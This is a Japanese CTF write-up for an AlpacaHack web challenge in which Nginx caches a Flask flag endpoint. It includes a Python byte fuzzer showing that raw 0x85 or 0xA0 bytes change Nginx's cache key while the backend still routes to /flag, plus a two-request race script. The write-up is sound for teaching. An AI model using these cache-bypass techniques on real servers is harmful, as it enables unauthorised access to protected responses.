
CTF Writeup Alpacahack cache-me-if-you-can-2
基本情報
- CTF名:AlpacaHack Daily
- 開催日時:2026/07/24
- カテゴリ:Web
- 問題URL:https://alpacahack.com/daily/challenges/cache-me-if-you-can-2
問題文
Cache Me If You Can に隠されたもう一つの解法を見つけてください!
$ diff cache-me-if-you-can/nginx/default.conf cache-me-if-you-can-2/nginx/default.conf
1a2
> proxy_cache_key "$scheme$proxy_host$uri"; # diff!前問からの変更点は、Nginxのキャッシュキーを明示する1行だけらしい。
作業ログ
配布ファイルを読む
まずは全体を確認。
$ tree cache-me-if-you-can-2/
cache-me-if-you-can-2/
├── app
│ ├── Dockerfile
│ └── server.py
├── compose.yaml
└── nginx
├── Dockerfile
└── default.conf
3 directories, 5 filesNginxとFlaskだけの小さな構成だ。
services:
nginx:
build: nginx
restart: unless-stopped
ports:
- ${PORT:-3000}:80
app:
build: app
restart: unless-stopped外部へ公開されるのはNginxだけで、Flaskへ直接アクセスすることはできない。
Flask側を見る。
from flask import Flask
FLAG = "Alpaca{REDACTED}"
app = Flask(__name__)
first_request = True
@app.get("/")
def index():
return "Try /flag. The cache stores responses for one year :P"
@app.get("/flag")
def flag():
global first_request
body = "Cache me if you can." if first_request else FLAG
first_request = False
return body
app.run(host="0.0.0.0", port=8000)/flagの1回目だけダミーを返し、2回目以降はフラグを返す。
次はNginxの設定。
proxy_cache_path /var/cache/nginx/proxy keys_zone=flag_cache:10m inactive=365d;
proxy_cache_key "$scheme$proxy_host$uri"; # diff!
server {
listen 80;
location / {
proxy_pass http://app:8000;
proxy_cache flag_cache;
proxy_cache_valid 200 365d;
}
}Flaskが返したステータス200のレスポンスは365日キャッシュされる。普通に2回アクセスすると、1回目のダミーがNginxへ保存され、2回目はFlaskまで届かないはず。
$ docker compose up --build -d
$ curl http://127.0.0.1:3000/flag
Cache me if you can.
$ curl http://127.0.0.1:3000/flag
Cache me if you can.予想どおり。Flaskの状態は2回目ならフラグを返せるのに、Nginxが同じキャッシュを返し続けている。
キャッシュキーをずらせないか試す
追加された設定は次の式。
proxy_cache_key "$scheme$proxy_host$uri";通常の/flagなら、おおよそhttpapp:8000/flagというキーになる。
| 変数 | 今回の値 | 意味 |
|---|---|---|
$scheme |
http |
クライアントがNginxへ接続した方式 |
$proxy_host |
app:8000 |
proxy_passの転送先 |
$uri |
/flag |
Nginxが保持する正規化後のURI |
$uriにはクエリ文字列が含まれない。nginx-uri 前問で使えたクエリ変更を試しても、今回は両方とも同じキーになる。
$ curl 'http://127.0.0.1:3000/flag?x=1'
Cache me if you can.
$ curl 'http://127.0.0.1:3000/flag?x=2'
Cache me if you can.ならば、Nginxでは別の$uriになり、Flaskでは/flagとして扱われる表記を探せばよさそう。思いつくものを試した。
| リクエストターゲット | 結果 | 推測 |
|---|---|---|
/%66lag |
ダミー | Nginxが%66をfへ戻していそう |
//flag |
ダミー | 連続スラッシュをまとめていそう |
/flag/ |
404 | Flaskでは別ルートになる |
/./flag |
404 | NginxとFlaskで転送時の扱いが違いそう |
/foo/../flag |
404 | 同上 |
/flag%2f |
404 | Flaskには末尾スラッシュ付きで届きそう |
Nginxはlocation判定や$uriの生成時に、パーセントエンコード、.、..、連続するスラッシュを正規化する。nginx-normalize 一方、この設定のproxy_passにはURI部分がないため、バックエンドへは元のリクエストターゲットが渡る場合がある。nginx-proxy-pass
キャッシュを使わないようお願いするヘッダも試した。
$ curl -H 'Cache-Control: no-cache' http://127.0.0.1:3000/flag
$ curl -H 'Cache-Control: no-store' http://127.0.0.1:3000/flag
$ curl -H 'Pragma: no-cache' http://127.0.0.1:3000/flagどれもダミーのキャッシュが返った。HEAD /flagも、NginxがデフォルトでGETと同じキャッシュキーへ変換するので失敗。小文字のgetを使ってNginxとFlaskのメソッド解釈をずらす案は、Nginxの時点で400 Bad Requestになった。
うーん、思いつきでURIを増やしても終わらなさそう。
1バイトずつ全部試してみる
思いつくURI表記を手作業で試してきたが、まだ候補はいくらでもある。ここで「どんな文字を付けるか」を考え続けるより、機械的に全部試した方が早いのではと思った。
HTTPリクエストラインを受け取った直後のNginxが見ているのは文字ではなくバイト列である。末尾へ1バイトだけ追加するなら、候補は0x00から0xFFまでの256種類しかない。
調べたいのは、次のようなリクエストターゲットである。
/flag\x00
/flag\x01
...
/flag\xFFここでの\x85などは、バックスラッシュを含む4文字ではなく、値が0x85のraw 1バイトを表す。curlは改行やヌル文字を含むリクエストターゲットの送信には向かないため、ソケットからリクエストラインを直接送ることにした。
import socket
from collections import defaultdict
HOST = "127.0.0.1"
PORT = 3000
def request(target: bytes) -> bytes:
payload = (
b"GET " + target + b" HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Connection: close\r\n\r\n"
)
try:
with socket.create_connection((HOST, PORT), timeout=1) as sock:
sock.settimeout(1)
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
except TimeoutError:
break
if not chunk:
break
response += chunk
except OSError:
return b""
return response
def classify(response: bytes) -> str:
if b"Alpaca{" in response:
return "FLAG"
if b"Cache me if you can." in response:
return "DUMMY"
status = response.split(b"\r\n", 1)[0]
if b" 400 " in status:
return "400"
if b" 404 " in status:
return "404"
return "OTHER"
# /flagのダミーをキャッシュさせ、Flask側を2回目の状態へ進める
request(b"/flag")
results: dict[str, list[int]] = defaultdict(list)
for value in range(256):
response = request(b"/flag" + bytes([value]))
result = classify(response)
results[result].append(value)
for result in ("400", "DUMMY", "404", "FLAG", "OTHER"):
values = results[result]
if values:
formatted = " ".join(f"{value:02X}" for value in values)
print(f"{result:5}: {len(values):3}個 {formatted}")キャッシュやFlaskの変数が前回の検証から残らないよう、コンテナを作り直して実行する。
出力では256個すべてのバイト値が表示されるため、次の掲載結果では長い行の途中を省略した。
$ docker compose down
$ docker compose up --build -d
$ python probe.py
400 : 33個 00 01 02 03 04 05 06 07 08 09 0B ... 1F 25 7F
DUMMY: 4個 0A 20 23 3F
404 : 217個 21 22 24 26 27 28 29 2A 2B ... FD FE FF
FLAG : 2個 85 A0256種類すべての結果を分類できた。0x85と0xA0の2種類が成功した。
ファジング結果が意味することを考える
このスクリプトはNginx内部の解析結果を直接表示しているわけではない。それでも、フラグが返ったことから二つの事実を逆算できる。
まず、通常の/flagに対するダミーレスポンスはすでにキャッシュされている。もし/flag\x85が同じキャッシュキーになったなら、返るのはそのダミーのはずである。フラグが返った以上、Nginxでは通常の/flagとは異なるキャッシュキーになっている。
一方、Flaskでフラグを返せるルートは/flagしかない。したがって、バックエンド側では/flag\x85が/flagとして解釈されているはず。
flowchart LR
A[raw /flag + 0x85] --> B[Nginx]
B -->|通常の /flag とは別キー| C[cache miss]
C --> D[Flask側]
D -->|/flag として解釈| E[FLAG]ほかのバイトの結果も、原因は一つではない。
| 観測した結果 | 考えられる意味 |
|---|---|
400 Bad Request |
Nginxがリクエストラインを受理しなかった |
404 Not Found |
バックエンドまで届いたが、Flaskでは別のパスになった |
| ダミー | 通常の/flagと同じキャッシュに当たった |
| フラグ | Nginxでは別キー、Flaskでは/flagになった |
総当たりで候補は見つかったが、なぜ0x85と0xA0なのかはまだ分からない。まず、Nginxが本当に別の$uriを作っているか確認することにした。
Nginxが認識したURIをログへ出す
配布されたnginx/default.confへ、調査中だけ次のログ設定を追加する。
log_format probe escape=default
'request_uri="$request_uri" uri="$uri" status=$status';
access_log /dev/stdout probe;$request_uriは受信したリクエストターゲット、$uriはキャッシュキーにも使われる正規化後のURIである。nginx-uri escape=defaultを指定すると、そのまま表示しにくいバイトが\x85のようにエスケープされる。
設定を反映するためコンテナを作り直し、通常の/flagと見つかった2種類を送ってログを比べる。
$ docker compose down
$ docker compose up --build -d
$ curl http://127.0.0.1:3000/flag
Cache me if you can.
$ curl --request-target $'/flag\x85' http://127.0.0.1:3000
Alpaca{REDACTED}
$ curl --request-target $'/flag\xa0' http://127.0.0.1:3000
Alpaca{REDACTED}$ docker compose logs nginx
nginx-1 | request_uri="/flag" uri="/flag" status=200
nginx-1 | request_uri="/flag\x85" uri="/flag\x85" status=200
nginx-1 | request_uri="/flag\xA0" uri="/flag\xA0" status=200予想どおり、Nginxの$uriには追加した1バイトが残っていた。したがって、三つのキャッシュキーは別々になる。
ここまでの観測だけで、攻略に必要な条件はすでにそろっている。
- Nginxのログでは
/flag、/flag\x85、/flag\xA0が別の$uriになった - ファザーでは
/flag\x85と/flag\xA0のレスポンスだけにフラグが含まれた - フラグを返すFlaskのルートは
/flagしかない
したがって、バックエンド内部の実装を読まなくても「Nginxでは別URIだが、Flask側では/flagとして扱われる2バイト」と結論付けられる。
候補バイトの性質を確認する
解法には不要だが、なぜこの2バイトが選ばれたのかだけは気になる。バックエンドがPythonで動いているので、Python上で0x85と0xA0に対応する文字の性質を確認してみる。
>>> for value in (0x85, 0xA0):
... character = chr(value)
... print(f"0x{value:02X}", character.isspace())
0x85 True
0xA0 TrueどちらもPythonでは空白文字として扱われた。実際に、この2文字を含むリクエストラインをsplit()すると、パス部分は/flagになる。
>>> ("GET /flag" + chr(0x85) + " HTTP/1.1").split()
['GET', '/flag', 'HTTP/1.1']
>>> ("GET /flag" + chr(0xA0) + " HTTP/1.1").split()
['GET', '/flag', 'HTTP/1.1']0x85はNEXT LINE、0xA0はNO-BREAK SPACEに対応する。NginxのログではURIの一部として残っていた一方、Pythonでは空白になる。この性質なら、ファジングで観測した結果をきれいに説明できる。
ほかにもPythonが空白とみなす値はある。
>>> [f"0x{value:02X}" for value in range(256) if chr(value).isspace()]
['0x09', '0x0A', '0x0B', '0x0C', '0x0D', '0x1C',
'0x1D', '0x1E', '0x1F', '0x20', '0x85', '0xA0']しかし、0x20はNginxでもURIの区切りになり、それより小さい制御バイトは400になるか、通常の/flagと同じダミーを返していた。Nginxでは別URI、Pythonでは空白という両方の条件を満たしたのが、0x85と0xA0だったと考えられる。
| バイト | Nginxでの観測 | Pythonでの確認 | ファザーの結果 |
|---|---|---|---|
0x20 |
通常の/flagと同じキー |
空白 | ダミー |
0x85 |
$uriに残る |
空白 | フラグ |
0xA0 |
$uriに残る |
空白 | フラグ |
| そのほかの高位バイト | 別URIになるものがある | 空白ではない | 404 |
処理全体を整理する
sequenceDiagram
participant C as Client
participant N as Nginx
participant F as Flask
C->>N: GET /flag
Note over N: $uri = /flag<br/>cache miss
N->>F: GET /flag
F-->>N: Cache me if you can.<br/>first_request = False
N-->>C: Cache me if you can.
C->>N: GET /flag + raw 0xA0
Note over N: $uri = /flag + 0xA0<br/>別キーなのでcache miss
N->>F: GET /flag + raw 0xA0
Note over F: 観測上は /flag として処理
F-->>N: Alpaca{...}
N-->>C: Alpaca{...}最終的な解法
通常の/flagへ1回アクセスし、Flaskのfirst_requestをFalseにする。このレスポンスは$uri=/flagのキーへキャッシュされる。
次に、/flagの末尾へraw 0x85または0xA0を付けてアクセスする。
$ TARGET=http://***.***.***.***
$ curl "$TARGET/flag"
Cache me if you can.
$ curl --request-target $'/flag\xa0' "$TARGET"
Alpaca{REDACTED}Nginxは/flagと/flag\xA0を別の$uriとして扱うため、2回目はcache missになる。一方、Flask側では/flag\xA0が/flagとして扱われるため、2回目のリクエストがフラグを返す。
キャッシュの保存タイミングに依存せず、今回追加された$uriとバックエンドのHTTP解釈差を直接利用する解法だった。
ゴリ押し解法:2リクエストを同時に送る
別の方法として、ダミーレスポンスがキャッシュへ保存される前に、同じキーのリクエストを2本ともFlaskへ届けることもできた。
設定にはproxy_cache_lock on;がない。Nginxのproxy_cache_lockはデフォルトで無効なので、同じキーへのcache missが重なると、一方のキャッシュ生成完了まで他方を待たせる保証がない。nginx-cache-lock
必要なのは2本だけ。TCP接続を先に確立し、両方のスレッドを待ち合わせてから同じGET /flagを送る。
import socket
import threading
HOST = "127.0.0.1"
PORT = 3000
request = (
b"GET /flag HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: close\r\n\r\n"
)
sockets = [
socket.create_connection((HOST, PORT)),
socket.create_connection((HOST, PORT)),
]
barrier = threading.Barrier(2)
responses = [b"", b""]
def worker(index: int) -> None:
sock = sockets[index]
barrier.wait()
sock.sendall(request)
while chunk := sock.recv(4096):
responses[index] += chunk
sock.close()
threads = [
threading.Thread(target=worker, args=(index,))
for index in range(2)
]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
for response in responses:
body = response.split(b"\r\n\r\n", 1)[1]
print(body.decode())$ python solve-race.py
Cache me if you can.
Alpaca{REDACTED}表示順は実行ごとに入れ替わることがある。両方がキャッシュ確認を終えてFlaskへ転送されれば、先に処理されたリクエストがダミーを返してfirst_request=Falseにし、もう一方がフラグを返す。
sequenceDiagram
participant C as Client
participant N as Nginx cache
participant F as Flask
par request A
C->>N: GET /flag
N->>F: cache miss
and request B
C->>N: GET /flag
N->>F: cache miss
end
F-->>N: Cache me if you can.<br/>first_request = False
F-->>N: Alpaca{...}
N-->>C: dummy
N-->>C: FLAGこちらはネットワークやスケジューリングに依存する。失敗してダミーがキャッシュされた場合は環境を作り直して再試行する必要があるため、raw 0x85・0xA0を使う解法より不安定。
脚注
- nginx-uri
Nginx ngx_http_core_module - Embedded Variables
$request_uriは引数を含む元のURI、$uriは正規化された現在のURIとして定義されている。 ← - nginx-normalize
Nginx ngx_http_core_module - location
パーセントエンコード、相対パス要素、連続するスラッシュの正規化について説明されている。 ← - nginx-proxy-pass
Nginx ngx_http_proxy_module - proxy_pass
URI部分を指定しないproxy_passでは、元のリクエストURIがバックエンドへ渡される。 ← - nginx-cache-lock
Nginx ngx_http_proxy_module - proxy_cache_lock
同じキャッシュキーへの複数リクエストを直列化する設定。デフォルト値はoff。 ←